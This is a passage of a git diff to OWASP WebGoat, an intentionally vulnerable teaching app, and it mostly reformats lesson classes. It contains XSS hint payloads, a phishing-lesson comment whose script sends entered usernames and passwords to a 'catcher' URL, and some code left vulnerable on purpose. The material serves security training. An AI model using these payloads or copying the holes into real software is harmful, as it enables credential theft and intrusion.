out.print("document.forms[0].SUBMIT.disabled = false;"); out.flush(); out.close(); - return ; + return; } } catch (Exception e) @@ -91,21 +90,19 @@ public class DOMInjection extends LessonAdapter setContent(form); } + protected Element createContent(WebSession s) { - ElementContainer ec = new ElementContainer(); - if (s.getRequest().getMethod().equalsIgnoreCase("POST") ) + if (s.getRequest().getMethod().equalsIgnoreCase("POST")) { makeSuccess(s); } String lineSep = System.getProperty("line.separator"); - String script = "" + lineSep; + + " messageDiv.innerHTML = 'Correct licence Key.' " + lineSep + " }" + lineSep + + " catch(err)" + lineSep + " { " + lineSep + " messageDiv.innerHTML = 'Wrong license key.'" + + lineSep + "} " + lineSep + " }}}" + lineSep + "" + lineSep; ec.addElement(new StringElement(script)); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat Registration Page:"))); @@ -147,7 +139,6 @@ public class DOMInjection extends LessonAdapter t1.addElement(tr); - tr = new TR(); Input b = new Input(); b.setType(Input.SUBMIT); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java index 3c5f7dc35..15bc94ed6 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java @@ -183,13 +183,16 @@ public class DOMXSS extends SequentialLessonAdapter hints.add("Stage 2: Try entering the following: " + "<img src=x onerror=;;alert('XSS') />"); - hints.add("Stage 3: Try entering the following: " + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>"); + hints.add("Stage 3: Try entering the following: " + + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>"); - hints.add("Stage 4: Try entering the following: " + hints + .add("Stage 4: Try entering the following: " + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"); - hints.add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); + hints + .add("Stage 5: You will find the JavaScripts in tomcat\\webapps\\WebGoat\\javascript (Standart Version) or in WebContent\\javascript (Developer Version)."); // Attack Strings: // @@ -201,7 +204,8 @@ public class DOMXSS extends SequentialLessonAdapter // Please enter your password:
















+ // pass.value); + // ">Submit















return hints; } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java index 6e06af542..02ea116d0 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java @@ -4,7 +4,6 @@ package org.owasp.webgoat.lessons; import java.util.ArrayList; import java.util.List; import java.util.regex.Pattern; - import org.apache.ecs.Element; import org.apache.ecs.ElementContainer; import org.apache.ecs.html.A; @@ -88,7 +87,7 @@ public class DangerousEval extends LessonAdapter // FIXME: encode output of field2, then s.setMessage( field2 ); ec.addElement(""); - // + // ec.addElement(new HR().setWidth("90%")); ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); @@ -203,7 +202,7 @@ public class DangerousEval extends LessonAdapter ec.addElement(t); ec.addElement(new BR()); ec.addElement(new HR().setWidth("90%")); - + } catch (Exception e) { s.setMessage("Error generating " + this.getClass().getName()); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java index b65910af8..509c44ef7 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java @@ -66,11 +66,11 @@ public class DeleteProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java index 618f120a3..5de476081 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java @@ -95,8 +95,8 @@ public class EditProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java index f2384907f..443829279 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java @@ -69,11 +69,11 @@ public class FindProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } @@ -139,8 +139,8 @@ public class FindProfile extends DefaultLessonAction .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */ setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java index 4210cc839..0a006fec0 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java @@ -220,29 +220,29 @@ public class GoatHillsFinancial extends RandomLessonAdapter } } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); setCurrentAction(s, ERROR_ACTION); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java index 2eb89d8dc..76ade85d5 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java @@ -75,11 +75,11 @@ public class Login extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java index 7d877a902..cd20d6665 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java @@ -58,11 +58,11 @@ public class Logout extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java index 740f68722..3760aa5f1 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java @@ -94,11 +94,11 @@ public class UpdateProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java index 9a79405db..d217f5f43 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java @@ -104,8 +104,8 @@ public class ViewProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java index a938c9b40..10ebb255a 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java @@ -68,7 +68,7 @@ public class HiddenFieldTampering extends LessonAdapter private final static String PRICE_TV_HACKED = "9.99"; String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any - // interesting exploit! + // interesting exploit! Pattern pattern1 = Pattern.compile(regex); String lineSep = System.getProperty("line.separator"); String script = "

+ * XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user=" + * +document.forms[0].user.value + "&password=" + document.forms[0].pass.value + + * "";}
*
*
- *

This feature requires account login:

- *
+ *

This feature requires account login:


*
* Enter Username:
*
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java index 11873247f..dd56eea5b 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RemoteAdminFlaw.java @@ -85,7 +85,8 @@ public class RemoteAdminFlaw extends LessonAdapter List hints = new ArrayList(); hints.add("WebGoat has 2 admin interfaces."); hints.add("WebGoat has one admin interface that is controlled via a URL parameter and is 'hackable'"); - hints.add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'"); + hints + .add("WebGoat has one admin interface that is controlled via server side security constraints and should not be 'hackable'"); hints.add("Follow the Source!"); hints.add("On success you will see new submenu items in the menupoint 'Admin Functions'"); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java index a46a7a3d7..c560621e0 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/DeleteProfile.java @@ -69,11 +69,11 @@ public class DeleteProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java index bbc25d502..279224eda 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/EditProfile.java @@ -97,8 +97,8 @@ public class EditProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { @@ -145,8 +145,8 @@ public class EditProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java index 829437264..3b9247512 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/RoleBasedAccessControl.java @@ -93,7 +93,6 @@ public class RoleBasedAccessControl extends GoatHillsFinancial return Category.ACCESS_CONTROL; } - /** * Gets the hints attribute of the DirectoryScreen object * @@ -111,19 +110,16 @@ public class RoleBasedAccessControl extends GoatHillsFinancial hints.add("Stage1: How does the application know that the user selected the delete function?"); - - hints.add("Stage2: You have to code to check the authorization of the user for the action."); + hints.add("Stage2: You have to code to check the authorization of the user for the action."); // Stage 2 - - // Stage 3 hints.add("Stage3: How does the application know that the user selected any particular employee to view?"); - // Stage 4 - hints.add("Stage4: You have to code to check the authorization of the user for the action on a certain employee."); - + hints + .add("Stage4: You have to code to check the authorization of the user for the action on a certain employee."); + return hints; } @@ -155,8 +151,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial } else if (STAGE2.equals(stage)) { - instructions ="Stage 2: Add Business Layer Access Control.

" + - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 2: Add Business Layer Access Control.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "Implement a fix to deny unauthorized access to the Delete function. " + "Repeat stage 1. Verify that access to Delete is properly denied.
" + "To do this you have to alter code."; @@ -168,8 +164,8 @@ public class RoleBasedAccessControl extends GoatHillsFinancial } else if (STAGE4.equals(stage)) { - instructions = "Stage 4: Add Data Layer Access Control.

" + - " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + instructions = "Stage 4: Add Data Layer Access Control.

" + + " THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

" + "Implement a fix to deny unauthorized access to this data. " + "Repeat stage 3. Verify that access to other employee's profiles is properly denied."; } @@ -177,21 +173,24 @@ public class RoleBasedAccessControl extends GoatHillsFinancial return instructions; } - - public String getLessonSolutionFileName(WebSession s) { + + public String getLessonSolutionFileName(WebSession s) + { String solutionFileName = null; String stage = getStage(s); solutionFileName = "/lesson_solutions/Lab Access Control/Lab " + stage + ".html"; return solutionFileName; } - + @Override - public String getSolution(WebSession s) { + public String getSolution(WebSession s) + { String src = null; try { - src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); + src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), + false); } catch (IOException e) { s.setMessage("Could not find the solution file"); @@ -233,11 +232,9 @@ public class RoleBasedAccessControl extends GoatHillsFinancial } else { - //***************CODE HERE************************* - - - - //************************************************* + // ***************CODE HERE************************* + + // ************************************************* if (action.isAuthenticated(s)) { action.handleRequest(s); @@ -250,18 +247,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial setCurrentAction(s, ERROR_ACTION); } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { @@ -306,13 +303,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial } } - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); setCurrentAction(s, ERROR_ACTION); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } @@ -377,18 +374,18 @@ public class RoleBasedAccessControl extends GoatHillsFinancial setCurrentAction(s, ERROR_ACTION); } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { @@ -432,13 +429,13 @@ public class RoleBasedAccessControl extends GoatHillsFinancial } s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); setCurrentAction(s, ERROR_ACTION); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java index 365a9fea1..70cba0845 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/UpdateProfile.java @@ -98,11 +98,11 @@ public class UpdateProfile extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java index 2476a83e0..cc048db12 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/RoleBasedAccessControl/ViewProfile.java @@ -125,8 +125,8 @@ public class ViewProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { @@ -171,8 +171,8 @@ public class ViewProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java index a3b139549..7d8193c27 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/Login.java @@ -82,11 +82,11 @@ public class Login extends DefaultLessonAction chainedAction.handleRequest(s); } catch (UnauthenticatedException ue1) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue1.printStackTrace(); } catch (UnauthorizedException ue2) { - //System.out.println("Internal server error"); + // System.out.println("Internal server error"); ue2.printStackTrace(); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java index 97debc15f..ffad7e4d9 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/SQLInjection.java @@ -203,28 +203,28 @@ public class SQLInjection extends GoatHillsFinancial setCurrentAction(s, ERROR_ACTION); } catch (ParameterNotFoundException pnfe) { - //System.out.println("Missing parameter"); + // System.out.println("Missing parameter"); pnfe.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (ValidationException ve) { - //System.out.println("Validation failed"); + // System.out.println("Validation failed"); ve.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } catch (UnauthenticatedException ue) { s.setMessage("Login failed"); - //System.out.println("Authentication failure"); + // System.out.println("Authentication failure"); ue.printStackTrace(); } catch (UnauthorizedException ue2) { s.setMessage("You are not authorized to perform this function"); - //System.out.println("Authorization failure"); + // System.out.println("Authorization failure"); ue2.printStackTrace(); } catch (Exception e) { // All other errors send the user to the generic error page - //System.out.println("handleRequest() error"); + // System.out.println("handleRequest() error"); e.printStackTrace(); setCurrentAction(s, ERROR_ACTION); } @@ -248,14 +248,16 @@ public class SQLInjection extends GoatHillsFinancial { return "LAB: SQL Injection"; } - + @Override - public String getSolution(WebSession s) { + public String getSolution(WebSession s) + { String src = null; try { - src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), false); + src = readFromFile(new BufferedReader(new FileReader(s.getWebResource(getLessonSolutionFileName(s)))), + false); } catch (IOException e) { s.setMessage("Could not find the solution file"); @@ -263,8 +265,9 @@ public class SQLInjection extends GoatHillsFinancial } return src; } - - public String getLessonSolutionFileName(WebSession s) { + + public String getLessonSolutionFileName(WebSession s) + { String solutionFileName = null; String stage = getStage(s); solutionFileName = "/lesson_solutions/Lab SQL Injection/Lab " + stage + ".html"; diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java index d68603934..5d08679ed 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SQLInjection/ViewProfile.java @@ -117,10 +117,10 @@ public class ViewProfile extends DefaultLessonAction .getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); - //System.out.println("Profile: " + profile); + // System.out.println("Profile: " + profile); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { @@ -167,8 +167,8 @@ public class ViewProfile extends DefaultLessonAction .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getString("disciplined_notes"), answer_results.getString("personal_description")); /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " + - * profile.getLastName() + " (" + profile.getId() + ")"); + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); */} } catch (SQLException sqle) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java index a712f1b98..5dd3a4ffb 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SameOriginPolicyProtection.java @@ -3,7 +3,6 @@ package org.owasp.webgoat.lessons; import java.util.ArrayList; import java.util.List; - import org.apache.ecs.Element; import org.apache.ecs.ElementContainer; import org.apache.ecs.StringElement; @@ -111,8 +110,8 @@ public class SameOriginPolicyProtection extends LessonAdapter int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0); int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0); - //System.out.println("hiddenWGStatus:" + hiddenWGStatusInt); - //System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt); + // System.out.println("hiddenWGStatus:" + hiddenWGStatusInt); + // System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt); if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1) { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java index f5e7e4850..b03ffe952 100755 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SequentialLessonAdapter.java @@ -86,7 +86,7 @@ public abstract class SequentialLessonAdapter extends LessonAdapter } catch (Exception e) { s.setMessage("Error generating " + this.getClass().getName()); - //System.out.println(e); + // System.out.println(e); e.printStackTrace(); } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SessionFixation.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SessionFixation.java index 31e8caf74..991abfe62 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SessionFixation.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SessionFixation.java @@ -7,7 +7,6 @@ import java.sql.ResultSet; import java.util.ArrayList; import java.util.List; import java.util.Random; - import org.apache.ecs.Element; import org.apache.ecs.ElementContainer; import org.apache.ecs.StringElement; @@ -80,19 +79,19 @@ public class SessionFixation extends SequentialLessonAdapter */ protected Element createContent(WebSession s) { - if(sid.equals("") && getLessonTracker(s).getStage() > 2 ) + if (sid.equals("") && getLessonTracker(s).getStage() > 2) { getLessonTracker(s).setStage(1); } - String sid = s.getParser().getStringParameter("SID",""); + String sid = s.getParser().getStringParameter("SID", ""); if (!sid.equals("")) { this.sid = sid; } - if(!s.getParser().getStringParameter("Restart", "").equals("")) + if (!s.getParser().getStringParameter("Restart", "").equals("")) { s.add(LOGGEDIN, "false"); - s.add("SID",""); + s.add("SID", ""); this.sid = ""; } if (getLessonTracker(s).getStage() == 3) @@ -108,28 +107,28 @@ public class SessionFixation extends SequentialLessonAdapter s.add("SID", randomSid); this.sid = randomSid; } - + String name = s.getParser().getStringParameter(USER, ""); String password = s.getParser().getStringParameter(PASSWORD, ""); - if(correctLogin(name, password, s)) + if (correctLogin(name, password, s)) { getLessonTracker(s).setStage(4); - sid=""; + sid = ""; s.add(LOGGEDIN, "true"); s.add(LOGGEDINUSER, name); s.setMessage("You completed stage 3!"); } - + } - if(getLessonTracker(s).getStage() == 4) + if (getLessonTracker(s).getStage() == 4) { if (sid.equals("NOVALIDSESSION")) { - //System.out.println("STAGE 5"); + // System.out.println("STAGE 5"); getLessonTracker(s).setStage(5); } - + } if (getLessonTracker(s).getStage() == 2) @@ -183,14 +182,14 @@ public class SessionFixation extends 